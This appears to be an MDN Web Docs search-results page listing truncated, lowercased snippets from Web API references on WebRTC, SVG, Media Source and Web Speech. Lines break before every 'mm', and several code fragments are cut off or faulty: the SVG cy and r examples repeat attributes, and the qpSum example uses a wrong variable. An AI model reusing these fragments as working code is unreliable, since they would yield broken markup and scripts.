mmendation initial definition.
RTCConfiguration.iceServers - Web APIs
if the list of servers is changed while a connection is already active by calling the the rtcpeerconnection method setconfiguration(), no i
mmediate effect occurs.
... urls: "stun:stun.services.mozilla.com", username: "louis@mozilla.com", credential: "webrtcdemo" }, { urls: ["stun:stun.example.com", "stun:stun-1.example.com"] }] }; var pc = new rtcpeerconnection(configuration); specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcconfiguration.iceservers' in that specification.
... candidate reco
mmendation initial definition.
RTCConfiguration - Web APIs
if the remote endpoint is not bundle-aware, then each of these dtls transports then handles all the co
mmunication for one type of data.
... urls: "stun:stun.services.mozilla.com", username: "louis@mozilla.com", credential: "webrtcdemo" }, { urls: ["stun:stun.example.com", "stun:stun-1.example.com"] }] }; var pc = new rtcpeerconnection(configuration); specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcconfiguration' in that specification.
... candidate reco
mmendation initial definition.
RTCDTMFSender.toneBuffer - Web APIs
the co
mma (",") this character instructs the dialing process to pause for two seconds before sending the next character in the buffer.
... example tbd specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcdtmfsender.tonebuffer' in that specification.
... candidate reco
mmendation ...
RTCDTMFSender - Web APIs
the primary purpose for webrtc's dtmf support is to allow webrtc-based co
mmunication clients to be connected to a public-switched telephone network (pstn) or other legacy telephone service, including extant voice over ip (voip) services.
... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcdtmfsender' in that specification.
... candidate reco
mmendation ...
RTCDTMFToneChangeEvent.RTCDTMFToneChangeEvent() - Web APIs
the co
mma (",") this character instructs the dialing process to pause for two seconds before sending the next character in the buffer.
... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcdtmftonechangeevent()' in that specification.
... candidate reco
mmendation initial definition.
RTCDataChannel.send() - Web APIs
in this scenario, the underlying transport is i
mmediately closed.
... var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("backchannel"); function sendmessage(msg) { let obj = { "message": msg, "timestamp": new date() } dc.send(json.stringify(obj)); } specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcdatachannel.send()' in that specification.
... candidate reco
mmendation initial specification.
RTCDataChannel - Web APIs
data format the underlying data format is defined by the ieee draft specification draft-ietf-
mmusic-sctp-sdp.
... example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function () { console.log("datachannel close"); }; specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcdatachannel' in that specification.
... candidate reco
mmendation initial specification.
RTCErrorEvent - Web APIs
the most co
mmon of these is probably rtcpeerconnectioniceerrorevent, used by the icecandidateerror event, which signals an error that has occurred while gathering ice candidates during connection negotiation.
... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcerrorevent' in that specification.
... candidate reco
mmendation initial definition.
RTCIceCandidate.RTCIceCandidate() - Web APIs
note: parsing of the candidate string is performed using the candidate-attribute gra
mmar from the webrtc specification.
... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcicecandidate()' in that specification.
... candidate reco
mmendation initial definition.
RTCIceCandidate.relatedAddress - Web APIs
here's an sdp attribute line (a-line) describing an ice candidate discovered by the stun server: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 6502 typ srflx raddr 192.168.2.77 rport 32768 generation 0 the remote address, relatedaddress, is the dotted quad (for ipv4) or colon-delineated 64-bit address (for ipv6) i
mmediately following the text "raddr", or "192.168.2.77".
...break; case "prflx": console.log("peer reflexive candidate's base address is " + candidate.relatedaddress + "; reachable at " + candidate.ip); break; case "relay": console.log("relay candidate's address assigned by the turn server is " + candidate.relatedaddress + "; reachable at " + candidate.ip); break; } specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcicecandidate.relatedaddress' in that specification.
... candidate reco
mmendation initial definition.
RTCIceCandidate.relatedPort - Web APIs
here's an sdp attribute line (a-line) describing an ice candidate discovered by the stun server: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 6502 typ srflx raddr 192.168.2.77 rport 32768 generation 0 the remote port, relatedport, is the number i
mmediately following the "rport" label on the a-line, or 32768.
...ate.ip; var port = candidate.port; var relip = candidate.relatedaddress; var relport = candidate.relatedport; if (relip && relport) { console.log("candidate type '" + type + "' -- contact address: " + ip + " " + port + ", related address: " + relip + " " + relport); } else { console.log("host candidate address is " + ip + " " + port); } specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcicecandidate.relatedport' in that specification.
... candidate reco
mmendation initial definition.
RTCIceCandidate.usernameFragment - Web APIs
syntax var ufrag = rtcicecandidate.usernamefragment; value a domstring containing the username fragment (usually referred to in shorthand as "ufrag" or "ice-ufrag") that, along with the ice password ("ice-pwd"), uniquely identifies a single ongoing ice interaction, including for any co
mmunication with the stun server.
... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcicecandidate.usernamefragment' in that specification.
... candidate reco
mmendation initial definition.
RTCIceCandidate - Web APIs
an ice candidate describes the protocols and routing needed for webrtc to be able to co
mmunicate with a remote device.
... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcicecandidate' in that specification.
... candidate reco
mmendation initial definition.
RTCIceCandidateInit.usernameFragment - Web APIs
value a domstring containing the username fragment (usually referred to in shorthand as "ufrag" or "ice-ufrag") that, along with the ice password ("ice-pwd"), uniquely identifies a single ongoing ice interaction, including for any co
mmunication with the stun server.
... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcicecandidateinit.usernamefragment' in that specification.
... candidate reco
mmendation initial specification.
RTCIceCandidatePairStats.consentExpiredTimestamp - Web APIs
syntax consentexpiration = rtcicecandidatepairstats.consentexpiredtimestamp; value a domhighrestimestamp object that indicates the time at which the stun binding that allows the two peers described by this rtcicecandidatepair to co
mmunicate will expire (or the time at which the binding did expire, if the time has passed).
... specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.consentexpiredtimestamp' in that specification.
... candidate reco
mmendation initial specification.
RTCIceCandidatePairStats.state - Web APIs
this may happen i
mmediately upon being added to the check list.
... specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.state' in that specification.
... candidate reco
mmendation initial specification.
RTCIceCandidateStats.protocol - Web APIs
the rtcicecandidatestats dictionary's protocol property specifies the protocol the specified candidate would use for co
mmunication with the remote peer.
... specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.protocol' in that specification.
... candidate reco
mmendation initial specification.
RTCIceCandidateStats - Web APIs
relayprotocol optional a string identifying the protocol used by the endpoint for co
mmunicating with the turn server; valid values are tcp, udp, and tls.
... specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats' in that specification.
... candidate reco
mmendation initial specification.
RTCIceTransport.onselectedcandidatepairchange - Web APIs
syntax rtcicetransport.onselectedcandidatepairchange = candidatepairhandler; value this propoerty should be set to reference an event handler function to be called by the ice agent when it discovers a new candidate pair that the rtcicetransport will be using for co
mmunication with the remote peer.
...getelementbyid("local-protocol"); var remoteproto = document.getelementbyid("remote-protocol"); icetransport.onselectedcandidatepairchange = function(event) { var pair = icetransport.getselectedcandidatepair(); localprotocol.innertext = pair.local.protocol.touppercase(); remoteprotocol.innertext = pair.remote.protocol.touppercase(); } specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcicetransport.onselectedcandidatepairchange' in that specification.
... candidate reco
mmendation initial specification.
RTCIceTransport: statechange event - Web APIs
the state can be used to determine how far through the process of examining, verifying, and selecting a valid candidate pair is prior to successfully connecting the two peers for webrtc co
mmunications.
...ev => { if (icetransport.state === "failed") { handlefailure(pc); } }, false); the same code, using the onstatechange event handler property, looks like this: let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = ev => { if (icetransport.state === "failed") { handlefailure(pc); } }; specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'statechange' in that specification.
... candidate reco
mmendation ...
RTCPeerConnection.addTrack() - Web APIs
this is a very co
mmon way to use addtrack() when building many types of simple applications, where only one stream is needed.
... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcpeerconnection.addtrack()' in that specification.
... candidate reco
mmendation initial specification.
RTCPeerConnection.createDataChannel() - Web APIs
) { channel.send('hi you!'); } channel.onmessage = function(event) { console.log(event.data); } // answerer side var pc = new rtcpeerconnection(options); pc.ondatachannel = function(event) { var channel = event.channel; channel.onopen = function(event) { channel.send('hi back!'); } channel.onmessage = function(event) { console.log(event.data); } } alternatively, more sy
mmetrical out-of-band negotiation can be used, using an agreed-upon id (0 here): // both sides var pc = new rtcpeerconnection(options); var channel = pc.createdatachannel("chat", {negotiated: true, id: 0}); channel.onopen = function(event) { channel.send('hi!'); } channel.onmessage = function(event) { console.log(event.data); } for a more thorough example showing how the connection and channe...
... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'createdatachannel()' in that specification.
... candidate reco
mmendation initial definition.
RTCPeerConnection: datachannel event - Web APIs
bubbles no cancelable no interface rtcdatachannelevent event handler property ondatachannel examples this example sets up a function that handles datachannel events by gathering the information needed to co
mmunicate with the newly added rtcdatachannel and by adding event handlers for the events that occur on that channel.
... this same code can also instead use the rtcpeerconnection interface's ondatachannel event handler property, like this: pc.ondatachannel = ev => { receivechannel = ev.channel; receivechannel.onmessage = myhandlemessage; receivechannel.onopen = myhandleopen; receivechannel.onclose = myhandleclose; } specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'datachannel' in that specification.
... candidate reco
mmendation basic definition.
RTCPeerConnection.getIdentityAssertion() - Web APIs
the method returns i
mmediately.
... specifications specification status co
mment identity for webrtcthe definition of 'rtcpeerconnection.getidentityassertion()' in that specification.
... candidate reco
mmendation initial specification.
RTCPeerConnection: iceconnectionstatechange event - Web APIs
bubbles no cancelable no interface event event handler property oniceconnectionstatechange one co
mmon task performed by the iceconnectionstatechange event listener: to trigger ice restart when the state changes to failed.
...nectionstatechange", ev => { let stateelem = document.queryselector("#call-state"); stateelem.classname = `${pc.iceconnectionstate}-state`; }, false); this can also be written as: pc.oniceconnectionstatechange = ev => { let stateelem = document.queryselector("#call-state"); stateelem.classname = `${pc.iceconnectionstate}-state`; } specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'iceconnectionstatechange' in that specification.
... candidate reco
mmendation ...
RTCPeerConnection: negotiationneeded event - Web APIs
this occurs both during the initial setup of the connection as well as any time a change to the co
mmunication environment requires reconfiguring the connection.
... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'negotiationneeded' in that specification.
... candidate reco
mmendation ...
RTCPeerConnection.onnegotiationneeded - Web APIs
most co
mmonly, the negotiationneeded event is fired after a send track is added to the rtcpeerconnection.
... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcpeerconnection.onnegotiationneeded' in that specification.
... candidate reco
mmendation initial specification.
RTCPeerConnection.setConfiguration() - Web APIs
the most co
mmon use case for this method (and even then, probably not a very co
mmon use case) is to replace the set of ice servers to be used.
... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'setconfiguration()' in that specification.
... candidate reco
mmendation initial definition.
RTCPeerConnection.setLocalDescription() - Web APIs
because descriptions will be exchanged until the two peers agree on a configuration, the description submitted by calling setlocaldescription() does not i
mmediately take effect.
... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcpeerconnection.setlocaldescription()' in that specification.
... candidate reco
mmendation initial specification.
RTCPeerConnection.setRemoteDescription() - Web APIs
because descriptions will be exchanged until the two peers agree on a configuration, the description submitted by calling setremotedescription() does not i
mmediately take effect.
... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcpeerconnection.setremotedescription()' in that specification.
... candidate reco
mmendation initial specification.
RTCPeerConnectionIceErrorEvent.address - Web APIs
the rtcpeerconnectioniceerrorevent property address is a string which indicates the local ip address being used to co
mmunicate with the stun or turn server during negotiations.
... pc.addeventlistener("icecandidateerror", (event) => { let networkinfo = `[local interface: ${event.address}:${event.port}`; let iceserverinfo = `[ice server: ${event.url}`; showmessage(errortext, iceserverinfo, networkinfo); }); specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcpeerconnectioniceerrorevent.address' in that specification.
... candidate reco
mmendation initial definition.
RTCRtpStreamStats.firCount - Web APIs
specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: fircount' in that specification.
... candidate reco
mmendation initial definition.
... candidate reco
mmendation initial definition.
RTCRtpStreamStats.nackCount - Web APIs
specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: nackcount' in that specification.
... candidate reco
mmendation initial definition.
... candidate reco
mmendation initial definition.
RTCRtpStreamStats.pliCount - Web APIs
specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: plicount' in that specification.
... candidate reco
mmendation initial definition.
... candidate reco
mmendation initial definition.
RTCRtpStreamStats.qpSum - Web APIs
tats) { let framecount = 0; switch(stats.type) { case "inbound-rtp": case "remote-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: qpsum' in that specification.
... candidate reco
mmendation initial definition.
... candidate reco
mmendation initial definition.
RTCRtpStreamStats.sliCount - Web APIs
specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: slicount' in that specification.
... candidate reco
mmendation initial definition.
... candidate reco
mmendation initial definition.
RTCRtpStreamStats.ssrc - Web APIs
the manner in which these values are generated is not mandated by the specification, although it does make reco
mmendations.
...do not rely upon these values meaning anything other than "these objects are associated with the same source." specifications specification status co
mment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.ssrc' in that specification.
... candidate reco
mmendation initial definition.
RTCRtpTransceiver.stop() - Web APIs
usage notes when you call stop() on a transceiver, the sender i
mmediately stops sending media and each of its rtp streams are closed using the rtcp "bye" message.
... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcrtptransceiver.stop()' in that specification.
... candidate reco
mmendation ...
RTCStatsReport - Web APIs
properties co
mmon to all statistic categories all webrtc statistics objects are fundamentally based on the rtcstats dictionary, which provides the most fundamental information: the timestamp, the statistic type string, and an id uniquely identifying the source of the data: id a domstring which uniquely identifies the object which was inspected to produce this object based on rtcstats.
... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtcstatsreport' in that specification.
... candidate reco
mmendation initial specification.
RTCTrackEventInit.transceiver - Web APIs
the transceiver pairs the track's receiver with an rtcrtpsender to allow bidirectional co
mmunication.
... specifications specification status co
mment webrtc 1.0: real-time co
mmunication between browsersthe definition of 'rtctrackeventinit.transceiver' in that specification.
... candidate reco
mmendation initial specification.
Range.setEnd() - Web APIs
usage notes if the endnode is a node of type text, co
mment, or cdatasection, then endoffset is the number of characters from the start of endnode.
... example const range = document.createrange(); const endnode = document.getelementsbytagname('p').item(3); const endoffset = endnode.childnodes.length; range.setend(endnode, endoffset); setend() is co
mmonly used in conjunction with setstart() to fully configure a range.
... specifications specification status co
mment domthe definition of 'range.setend()' in that specification.
RsaHashedKeyGenParams - Web APIs
some organizations are now reco
mmending that it should be 4096.
... specifications specification status co
mment web cryptography apithe definition of 'subtlecrypto.rsahashedkeygenparams' in that specification.
... reco
mmendation ...
format - Web APIs
string font format examples of co
mmon extensions truedoc-pfr truedoc™ portable font resource .pfr embedded-opentype embedded opentype .eot type-1 postscript™ type 1 .pfb, .pfa truetype truetype .ttf opentype opentype, including truetype open .ttf truetype-gx truetype with gx extensions - speedo speedo - intellif...
...ont intellifont - example myglyph.format = "truedoc-pfr"; specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'format' in that specification.
... reco
mmendation ...
SVGAngle - Web APIs
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgelement' in that specification.
... candidate reco
mmendation adds the dataset property.
... reco
mmendation initial definition ...
SVGAnimatedPathData - Web APIs
name type description animatednormalizedpathseglist svgpathseglist provides access to the current animated contents of the 'd' attribute in a form where all path data co
mmands are expressed in terms of the following subset of svgpathseg types: svg_pathseg_moveto_abs (m), svg_pathseg_lineto_abs (l), svg_pathseg_curveto_cubic_abs (c) and svg_pathseg_closepath (z).
... normalizedpathseglist svgpathseglist provides access to the base (i.e., static) contents of the 'd' attribute in a form where all path data co
mmands are expressed in terms of the following subset of svgpathseg types: svg_pathseg_moveto_abs (m), svg_pathseg_lineto_abs (l), svg_pathseg_curveto_cubic_abs (c) and svg_pathseg_closepath (z).
...thus, if the d attribute has an "absolute moveto (m)" and an "absolute arcto (a)" co
mmand, then pathseglist will have two entries: a svg_pathseg_moveto_abs and a svg_pathseg_arc_abs.
cx - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle cx="50" cy="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.cx); specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgcircleelement.cx' in that specification.
... candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement.cx' in that specification.
... reco
mmendation initial definition ...
cy - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle cy="50" cy="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.cy); specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgcircleelement.cy' in that specification.
... candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement.cy' in that specification.
... reco
mmendation initial definition ...
r - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle r="50" r="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.r); specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgcircleelement.r' in that specification.
... candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement.r' in that specification.
... reco
mmendation initial definition ...
SVGCircleElement - Web APIs
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgcircleelement' in that specification.
... candidate reco
mmendation replaced the inheritance from svgelement, svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement' in that specification.
... reco
mmendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
SVGClipPathElement - Web APIs
specifications specification status co
mment css masking module level 1the definition of 'svgclippathelement' in that specification.
... candidate reco
mmendation removed the inheritance from svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, svgtransformable, and svgunittypes scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgclippathelement' in that specification.
... reco
mmendation initial definition ...
SVGComponentTransferFunctionElement - Web APIs
svg_fecomponenttransfer_type_ga
mma 5 corresponds to the value ga
mma.
... specifications specification status co
mment filter effects module level 1the definition of 'svgcomponenttransferfunctionelement' in that specification.
... reco
mmendation initial definition ...
SVGDefsElement - Web APIs
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgdefselement' in that specification.
... candidate reco
mmendation replaced the inheritance from svgelementsvgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggraphicselement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgdefselement' in that specification.
... reco
mmendation initial definition ...
SVGDescElement - Web APIs
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgdescelement' in that specification.
... candidate reco
mmendation removed the inheritance from svglangspace and svgstylable scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgdescelement' in that specification.
... reco
mmendation initial definition ...
SVGElement - Web APIs
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgelement' in that specification.
... candidate reco
mmendation adds the dataset property.
... reco
mmendation initial definition ...
SVGEllipseElement - Web APIs
onclick="outputsize();"/> </svg> javascript content function outputsize() { var ellipse = document.getelementbyid("ellipse"); // outputs "horizontal radius: 100 vertical radius: 60" console.log( 'horizontal radius: ' + ellipse.rx.baseval.valueasstring, 'vertical radius: ' + ellipse.ry.baseval.valueasstring ) } result specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgellipseelement' in that specification.
... candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgellipseelement' in that specification.
... reco
mmendation initial definition ...
SVGFilterPrimitiveStandardAttributes - Web APIs
the svgfilterprimitivestandardattributes interface defines the set of dom attributes that are co
mmon across the filter primitive interfaces.
... specifications specification status co
mment filter effects module level 1the definition of 'svgfilterprimitivestandardattributes' in that specification.
... reco
mmendation initial definition ...
SVGForeignObjectElement - Web APIs
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgforeignobjectelement' in that specification.
... candidate reco
mmendation replaced the inheritance from svgelement, svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggraphicselement and svgurireference scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgforeignobjectelement' in that specification.
... reco
mmendation initial definition ...
SVGGElement - Web APIs
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svggelement' in that specification.
... candidate reco
mmendation changed the inheritance from svgelement to svggraphicselement and removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable.
... reco
mmendation initial definition ...
SVGGradientElement - Web APIs
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svggradientelement' in that specification.
... candidate reco
mmendation removed inheritance of svgexternalresourcesrequired, svgstylable, and svgunittypes scalable vector graphics (svg) 1.1 (second edition)the definition of 'svggradientelement' in that specification.
... reco
mmendation initial definition ...
SVGImageElement.preserveAspectRatio - Web APIs
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'preserveaspectratio' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'preserveaspectratio' in that specification.
... reco
mmendation initial definition ...
SVGImageElement - Web APIs
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgimageelement' in that specification.
... candidate reco
mmendation changed the inheritance from svgelement to svggraphicselement, removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable and added the crossorigin property.
... reco
mmendation initial definition ...
SVGLength - Web APIs
operties readonly unsigned short unittype float value float valueinspecifiedunits domstring valueasstring constants svg_lengthtype_unknown = 0 svg_lengthtype_number = 1 svg_lengthtype_percentage = 2 svg_lengthtype_ems = 3 svg_lengthtype_exs = 4 svg_lengthtype_px = 5 svg_lengthtype_cm = 6 svg_lengthtype_
mm = 7 svg_lengthtype_in = 8 svg_lengthtype_pt = 9 svg_lengthtype_pc = 10 normative document svg 1.1 (2nd edition) example <svg height="200" onload="start();" version="1.1" width="200" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"><![cdata[ function start() { var rect = document.getelementbyid("myrect"); var val = rect.x.baseval...
... svg_lengthtype_
mm 7 a value was specified using the
mm units defined in css2.
...for example, if the original value were "0.5cm" and the method was invoked to convert to millimeters, then the unittype would be changed to svg_lengthtype_
mm, valueinspecifiedunits would be changed to the numeric value 5 and valueasstring would be changed to "5
mm".
SVGLineElement - Web APIs
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svglineelement' in that specification.
... candidate reco
mmendation changed the inheritance from svgelement to svggeometryelement and removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable.
... reco
mmendation initial definition ...
SVGLinearGradientElement - Web APIs
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svglineargradientelement' in that specification.
... candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svglineargradientelement' in that specification.
... reco
mmendation initial definition ...
SourceBuffer.abort() - Web APIs
saying that, current implementations can be useful in certain situations, when you want to stop the current append (or whatever) operation occuring on a sourcebuffer, and then i
mmediately start performing operations on it again.
...in lines 92-101, the seek() function is defined — note that abort() is called if mediasource.readystate is set to open, which means that it is ready to receive new source buffers — at this point it is worth aborting the current segment and just getting the one for the new seek position (see checkbuffer() and getcurrentsegment().) specifications specification status co
mment media source extensionsthe definition of 'abort()' in that specification.
... reco
mmendation initial definition.
SpeechRecognition() - Web APIs
var gra
mmar = '#jsgf v1.0; gra
mmar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgra
mmarlist(); speechr...
...ecognitionlist.addfromstring(gra
mmar, 1); recognition.gra
mmars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
... specifications specification status co
mment web speech apithe definition of 'speechrecognition()' in that specification.
SpeechRecognition.continuous - Web APIs
var gra
mmar = '#jsgf v1.0; gra
mmar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thi...
...stle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgra
mmarlist(); speechrecognitionlist.addfromstring(gra
mmar, 1); recognition.gra
mmars = speechrecognitionlist; recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
... specifications specification status co
mment web speech apithe definition of 'continuous' in that specification.
SpeechRecognition.interimResults - Web APIs
var gra
mmar = '#jsgf v1.0; gra
mmar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thi...
...stle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgra
mmarlist(); speechrecognitionlist.addfromstring(gra
mmar, 1); recognition.gra
mmars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
... specifications specification status co
mment web speech apithe definition of 'interimresults' in that specification.
SpeechRecognition.lang - Web APIs
var gra
mmar = '#jsgf v1.0; gra
mmar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thi...
...stle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgra
mmarlist(); speechrecognitionlist.addfromstring(gra
mmar, 1); recognition.gra
mmars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
... specifications specification status co
mment web speech apithe definition of 'lang' in that specification.
SpeechRecognition.maxAlternatives - Web APIs
var gra
mmar = '#jsgf v1.0; gra
mmar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thi...
...stle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgra
mmarlist(); speechrecognitionlist.addfromstring(gra
mmar, 1); recognition.gra
mmars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
... specifications specification status co
mment web speech apithe definition of 'maxalternatives' in that specification.
SpeechRecognition.start() - Web APIs
the start() method of the web speech api starts the speech recognition service listening to incoming audio with intent to recognize gra
mmars associated with the current speechrecognition.
... examples var gra
mmar = '#jsgf v1.0; gra
mmar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgra
mmarlist(); speechrecognitionlist.addfromstring(gra
mmar, 1); recognition.gra
mmars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var ...
